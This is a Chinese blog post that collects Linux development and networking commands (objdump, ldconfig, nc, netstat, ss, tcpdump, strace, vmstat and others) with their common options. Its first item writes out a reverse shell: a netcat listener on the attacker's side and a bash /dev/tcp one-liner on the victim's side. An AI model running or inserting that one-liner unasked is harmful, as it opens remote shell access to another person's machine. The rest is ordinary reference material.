1. 反转shell

攻击者主机执行:nc -nlvp <port>

被攻击者执行:bash -i >& /dev/tcp/<ip>/<port> 0>&1

也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便

2. ldd

用于查看可执行文件或共享库文件所依赖的动态链接库的工具。

3. objdump

用于反汇编可执行文件、目标文件和共享库文件的工具。使用 objdump 命令可以对二进制文件进行静态分析,以查看其包含的指令集、符号表、节(section)和其他调试信息。

基本语法

objdump <options> <file>

一些常用的 objdump 选项:

-d:反汇编代码段,显示二进制文件的指令集。

-t:显示符号表,包括全局符号和局部符号。

-h:显示节(section)表,包括各个节的名称、地址和大小等信息。

-x:显示附加信息,如文件头和段头的详细信息。

-S:在反汇编代码中同时显示源代码。

4. ldconfig

用于更新系统动态链接器的缓存。在 Linux 系统中,动态链接器负责在程序运行时将可执行文件或共享库文件与其所依赖的动态链接库进行链接。ldconfig 命令用于更新系统中已安装的动态链接库的缓存,以便动态链接器能够正确找到和加载这些库。当你安装新的共享库文件或将共享库文件移动到不同的位置时,你可能需要运行 ldconfig 命令来更新系统的动态链接器缓存。这样做可以确保动态链接器能够正确地找到并加载这些库文件。

运行sudo ldconfig命令来执行 ldconfig,执行命令后,ldconfig 将扫描默认的共享库路径(通常是 /lib 和 /usr/lib)以及其他配置的路径,并更新动态链接器的缓存。这样,动态链接器在运行程序时就能正确地解析和加载所需的共享库文件。

需要注意的是,在大多数情况下,你不需要手动运行 ldconfig。通常,当你使用包管理器安装或卸载共享库文件时,包管理器会自动执行 ldconfig 来更新缓存。只有在特定情况下,例如手动安装共享库文件或手动移动共享库文件时,才需要手动运行 ldconfig。

总而言之,ldconfig 是一个用于更新系统动态链接器缓存的命令。它可以确保动态链接器能够正确找到和加载共享库文件。

5. telnet

用于在命令行界面中访问远程主机的命令行工具。使用 telnet 命令telnet <host> <port>,你可以指定远程主机的地址和端口,并建立与该主机的 Telnet 连接。由于 Telnet 是以明文方式传输数据,连接信息和数据在网络上是不加密的。因此,Telnet 不适合在不受信任的网络中使用,因为它可能会暴露敏感信息。

6. nc

nc(也称为 netcat)是一个网络工具,可以在命令行中创建 TCP 或 UDP 连接,进行网络通信。它提供了一个简单而强大的界面,可以用于发送和接收数据,执行端口扫描,以及在不同主机之间传输文件。

以下是一些常用的 nc 选项:

  • -l:在监听模式下运行 nc,等待传入连接。
  • -p :指定本地端口号。
  • -u:使用 UDP 协议进行连接。
  • -v:显示详细的调试信息。
  • -n:禁用主机名解析。

7. netstat

显示和管理网络连接、网络接口以及网络协议统计信息。

以下是一些常用的 netstat 选项:

  • -a:显示所有连接和监听端口。
  • -t:显示 TCP 连接信息。
  • -u:显示 UDP 连接信息。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p:显示与连接关联的程序或进程 ID。
  • -r:显示路由表信息。
  • -s:显示与各个协议相关的统计信息。

8. ss

用于显示和管理套接字(sockets)的相关信息,包括网络连接、监听端口、路由表和其他网络统计信息。它是 netstat 命令的替代品。

以下是一些常用的 ss 选项:

  • -a:显示所有连接和监听端口。
  • -t:显示 TCP 连接信息。
  • -u:显示 UDP 连接信息。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p:显示与连接关联的程序或进程 ID。
  • -r:显示路由表信息。
  • -s:显示与各个协议相关的统计信息。
  • -l:仅显示监听状态的套接字。

9. tcpdump

命令行网络抓包工具,用于捕获和分析网络数据包。它可以在实时中捕获数据包,并提供灵活的过滤和显示选项,用于监视和分析网络流量。

tcpdump 命令的基本语法如下:

tcpdump [options] [expression]

以下是一些常用的 tcpdump 选项:

  • -i :指定要抓包的网络接口。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -c :仅抓取指定数量的数据包后停止。
  • -s :设置要捕获的数据包的最大长度。
  • -w :将抓取的数据包写入指定的文件中,而不进行实时显示。
  • -r :从指定文件中读取数据包,而不进行实时抓包。

除了选项,你还可以使用表达式来过滤要抓取的数据包。表达式可以基于源地址、目标地址、端口号、协议类型等进行过滤。

以下是一些常用的表达式示例:

  • host :过滤特定主机的数据包,可以是 IP 地址或主机名。
  • src :过滤源地址为指定主机的数据包。
  • dst :过滤目标地址为指定主机的数据包。
  • port :过滤指定端口号的数据包。
  • src port :过滤源端口号为指定端口的数据包。
  • dst port :过滤目标端口号为指定端口的数据包。
  • tcp:过滤 TCP 协议的数据包。
  • udp:过滤 UDP 协议的数据包。
  • icmp:过滤 ICMP 协议的数据包。
  • ether
    :过滤以太网地址(MAC 地址)为指定地址的数据包。
  • net :过滤特定网络的数据包,可以是 IP 网络地址。
  • src net :过滤源地址属于指定网络的数据包。
  • dst net :过滤目标地址属于指定网络的数据包。
  • greater :过滤数据包长度大于指定值的数据包。
  • less :过滤数据包长度小于指定值的数据包。

这些表达式可以单独使用,也可以组合使用以创建更复杂的过滤条件。

例如,要在名为 eth0 的网络接口上捕获所有 TCP 协议的数据包,并以实时方式显示它们的内容,可以运行以下命令:

tcpdump -i eth0 tcp

10. lsof

用于列出打开文件和网络连接的命令行工具。它可以显示当前系统上所有打开的文件、目录和网络连接的相关信息,包括进程ID、文件描述符、文件类型、访问模式、文件路径、网络端口等。

lsof命令格式如下

lsof [options]

以下是一些常用的 lsof 选项:

  • -i:显示与网络相关的信息,包括网络连接和打开的端口。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p :显示指定进程ID(PID)相关的打开文件和网络连接。
  • -u :显示指定用户名相关的打开文件和网络连接。
  • -c :显示指定命令相关的打开文件和网络连接。

11. strace

用于跟踪和调试 Linux 程序执行过程的命令行工具。它可以捕获和显示程序与操作系统之间的系统调用和信号交互,帮助开发人员和系统管理员分析程序的行为、调试问题和性能优化。

strace 命令的基本语法如下:

strace [options] <command>

你需要将要跟踪的命令放在 strace 命令后面,然后 strace 将捕获该命令执行过程中的系统调用和信号。

以下是一些常用的 strace 选项:

  • -o :将跟踪结果写入指定的文件。
  • -p :跟踪指定的进程ID。
  • -s :设置输出字符串的最大长度。
  • -e :指定要跟踪的系统调用。
  • -c:以摘要统计的形式显示系统调用的执行次数和耗时。
  • -f:跟踪由目标进程创建的子进程。

12. vmstat

用于报告虚拟内存统计信息的命令行工具。它可以提供有关系统内存、进程、CPU、磁盘和交换空间等方面的统计数据,帮助你监视系统的性能和资源使用情况。

vmstat 命令的基本语法如下:

vmstat [options] [delay [count]]

你可以选择性地指定一些选项,以及可选的延迟时间和计数次数。vmstat 将在指定的延迟时间间隔内收集统计数据,并在屏幕上显示或输出到文件中。

以下是一些常用的 vmstat 选项:

  • -a:显示所有的虚拟内存统计信息。
  • -f:显示运行以来的 fork 操作次数。
  • -s:显示更详细的内存和系统统计信息。
  • -n:使用数字格式显示统计数据,而不是使用可读性更高的文本格式。
  • -w:将输出宽度扩展到适应长的统计项名称。

例如,要每秒显示一次虚拟内存统计信息,可以运行以下命令:

vmstat 1

vmstat 命令将每秒收集一次统计数据,并将其输出显示在命令行界面上。

vmstat 的输出包含许多信息,包括但不限于以下内容:

  • procs:进程相关的统计信息,如运行队列长度、上下文切换次数等。
  • memory:内存相关的统计信息,如空闲内存、缓冲区和缓存使用情况等。
  • swap:交换空间相关的统计信息,如交换分区使用情况、交换活动等。
  • io:磁盘I/O相关的统计信息,如块设备的读写操作次数、请求队列长度等。
  • system:系统全局的统计信息,如中断次数、上下文切换次数等。
  • cpu:CPU使用率和上下文切换相关的统计信息。

13. ifstat

用于监视网络接口流量的命令行工具。它可以提供关于网络接口的实时统计信息,包括传输速率、数据包计数、错误计数等,帮助你监控网络的使用情况和性能状况。

ifstat 命令的基本语法如下:

ifstat [options] [interval [count]]

你可以选择性地指定一些选项,以及可选的时间间隔和计数次数。ifstat 将在指定的时间间隔内收集网络接口的统计数据,并在屏幕上实时显示或输出到文件中。

以下是一些常用的 ifstat 选项:

  • -i :指定要监视的网络接口。如果不指定接口,默认会监视所有活动接口。
  • -n:使用数字格式显示统计数据,而不是使用可读性更高的单位格式。
  • -t:显示时间戳,以指示每个统计间隔的开始时间。

    例如,要每秒显示一次所有活动网络接口的统计信息,可以运行以下命令:
ifstat 1

ifstat 命令将每秒收集一次网络接口的统计数据,并将其实时输出显示在命令行界面上。

ifstat 的输出包含以下信息:

  • 接口名称:监视的网络接口的名称。
  • 接收:接收流量的统计信息,包括传输速率、数据包计数、错误计数等。
  • 发送:发送流量的统计信息,包括传输速率、数据包计数、错误计数等。
  • 总计:接收和发送流量的总计信息,包括传输速率、数据包计数、错误计数等。

14. mpstat

用于报告多处理器系统上的 CPU 使用情况的命令行工具。它可以提供有关每个 CPU 核心的统计信息,包括用户使用率、系统使用率、空闲时间、等待时间等。

mpstat 命令的基本语法如下:

mpstat [options] [interval [count]]

你可以选择性地指定一些选项,以及可选的时间间隔和计数次数。mpstat 将在指定的时间间隔内收集 CPU 使用情况的统计数据,并在屏幕上显示或输出到文件中。

以下是一些常用的 mpstat 选项:

  • -P :指定要监视的特定 CPU 核心。如果不指定核心编号,默认会监视所有核心。
  • -u:显示 CPU 使用率的统计信息,包括用户使用率、系统使用率、空闲时间、等待时间等。
  • -I :指定要显示的特定字段,如 CPU 上下文切换次数、中断次数等。
  • -t:显示时间戳,以指示每个统计间隔的开始时间。

    例如,要每秒显示一次所有 CPU 核心的使用率,可以运行以下命令:
mpstat -P ALL 1

mpstat 命令将每秒收集一次 CPU 使用情况的统计数据,并将其输出显示在命令行界面上。

mpstat 的输出包含以下信息:

  • CPU 核心编号:监视的 CPU 核心的编号。
  • usr:用户空间程序的 CPU 使用率。
  • sys:内核空间程序的 CPU 使用率。
  • iowait:等待 I/O 完成的 CPU 使用率。
  • idle:CPU 空闲时间的百分比。
  • irq:处理硬件中断的 CPU 使用率。
  • soft:处理软件中断的 CPU 使用率。
  • steal:当系统运行在虚拟化环境中时,被其他虚拟机偷取的 CPU 时间的百分比。

Linux开发相关命令整理的更多相关文章

  1. linux 服务器常用命令整理

    linux 服务器常用命令整理 目录 网络分析 - tcpdump \ telnet \ (netstat \ ss \ lsof) \ nload 网络传输 - scp \ rsync \ (rz ...

  2. Linux常用基础命令整理:关机命令、查看目录下文件命令等

    Linux常用基础命令整理:关机命令.查看目录下文件命令等 整理了一些Linux常用基础命令,欢迎指正. 首先记住四个热键,学会这四个键,收益一辈子. Tab按键---命令补齐功能Ctrl+c按键-- ...

  3. Linux 文本相关命令(1)

    Linux 文本相关命令(1) 前言 最近线上环境(Windows Server)出现了一些问题,需要分析一下日志.感觉 Windows 下缺少了一些 Linux 系统中的小工具,像在这波操作中用到的 ...

  4. Linux文件管理相关命令

    Linux文件管理相关命令   作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 在了解了Linux文件管理背景知识之后, 我们可以 ...

  5. Linux进程相关命令使用场景

    Linux进程相关命令使用场景 在Linux系统上工作时,我们常常会碰到很多和进程相关的查询场景,今天在这里进行详细的讲解,进程相关的对象包括以下几个: 端口:Port 进程号:PId 执行文件所在路 ...

  6. saltstack 开发相关命令记录

    SALT API开发相关命令记录. 查看当前的salt key信息salt-key -L 测试被控主机的连通性salt '*' test.ping 远程命令执行测试salt '*' cmd.run ' ...

  7. Linux 网络相关命令 Cheat Sheet

    以下漫画形式呈现的常用 Linux 网络相关命令速查表来自 twitter -

  8. Linux性能相关命令

    Linux性能相关命令 目录 Linux性能相关命令 1. 查看硬盘相关信息 2. 查看CPU相关信息 3. 查看内存相关信息 4. 查看进程运行的信息 1. 查看硬盘相关信息 cat /proc/s ...

  9. Linux解压缩相关命令

    Linux解压缩相关命令 运行级别: 0:关机 1:单用户 2:多用户无网络连接 3:多用户有网络连接 4:系统保留 5:图形界面 6:系统重启 通过init[0123456]来切换不同的运行级别 g ...

  10. Linux文本相关命令

    Linux文本相关命令 目录 Linux文本相关命令 文本排序命令 文本去重命令 基础命令cut 文本三剑客 sed awk grep 文本排序命令 sort 常用参数: -n:以数值大小进行排序 - ...

随机推荐

  1. NVME(学习笔记三)—PMR

    PMR(Persistent Memory Region)持久性内存区域 NVM Express在2019年完成了NVMe 1.4规范的制定,新的NVMe协议带来了大量的全新特性,尤其在纠错.强化性能 ...

  2. php+bootstrap+jquery+mysql实现购物车项目案例

    获取源码 一键三连后,评论区留下邮箱安排发送:) 介绍 使用php,bootstrap,jquery,mysql实现的简易购物车案例. 通过本案例,你将学习到以下知识点: php 操作 mysql 实 ...

  3. Java设计模式-桥接模式Bridge

    传统模式 案例 要求对不同手机类型的不同品牌实现操作编程(比如:开机.关机.上网,打电话等),如图: 类图 问题 扩展性问题(类爆炸),如果我们再增加手机的样式(旋转式),就需要增加各个品牌手机的类, ...

  4. el-dialog关闭后重置表单和校验提示

    问题说明 最近测试反馈操作某新增/修改表单,点击[取消]或[关闭]窗口后再次点击[新增]或[修改]发现校验提示仍然存在! 问题原因 项目采用Vue+ElementUI,修改表单的窗口控件采用el-di ...

  5. Vmware中Linux通过NAT设置静态IP实现上网

    1.设置虚拟机上网方式为NAT 2.修改centos网络配置文件,我的是centos7.4,主要网关不能和主机设置的一致 [root@dylan-centos ~]# vi /etc/sysconfi ...

  6. 3D环饼图

    // <div class="AnalysisAccCom">         <first-title title="分析对象统计"> ...

  7. 使用TLP对Linux系统进行充电保护

    https://zhuanlan.zhihu.com/p/65546444 TLP:一个可以延长 Linux 笔记本电池寿命的高级电源管理工具 https://blog.csdn.net/zxw781 ...

  8. 【Azure Developer】Go语言调用Azure SDK如何登录到中国区Azure环境

    问题描述 在 "使用 Azure SDK for Go 进行 Azure 身份验证" 文章中的 Go 示例代码进行登录Azure时,默认指向的是Globa Azure.当只修改AA ...

  9. PHP项目&变量覆盖&反序列化&未授权访问&身份验证

    CNVD拿1day-验证&未授权-xhcms&Bosscms 此种漏洞由于没有什么关键函数,所以需要通过功能点去进行测试. Bosscms未授权访问 CNVD官网上搜索Bosscms未 ...

  10. HashMap很美好,但线程不安全怎么办?ConcurrentHashMap告诉你答案!

    写在开头 在<耗时2天,写完HashMap>这篇文章中,我们提到关于HashMap线程不安全的问题,主要存在如下3点风险: 风险1: put的时候导致元素丢失:如两个线程同时put,且ke ...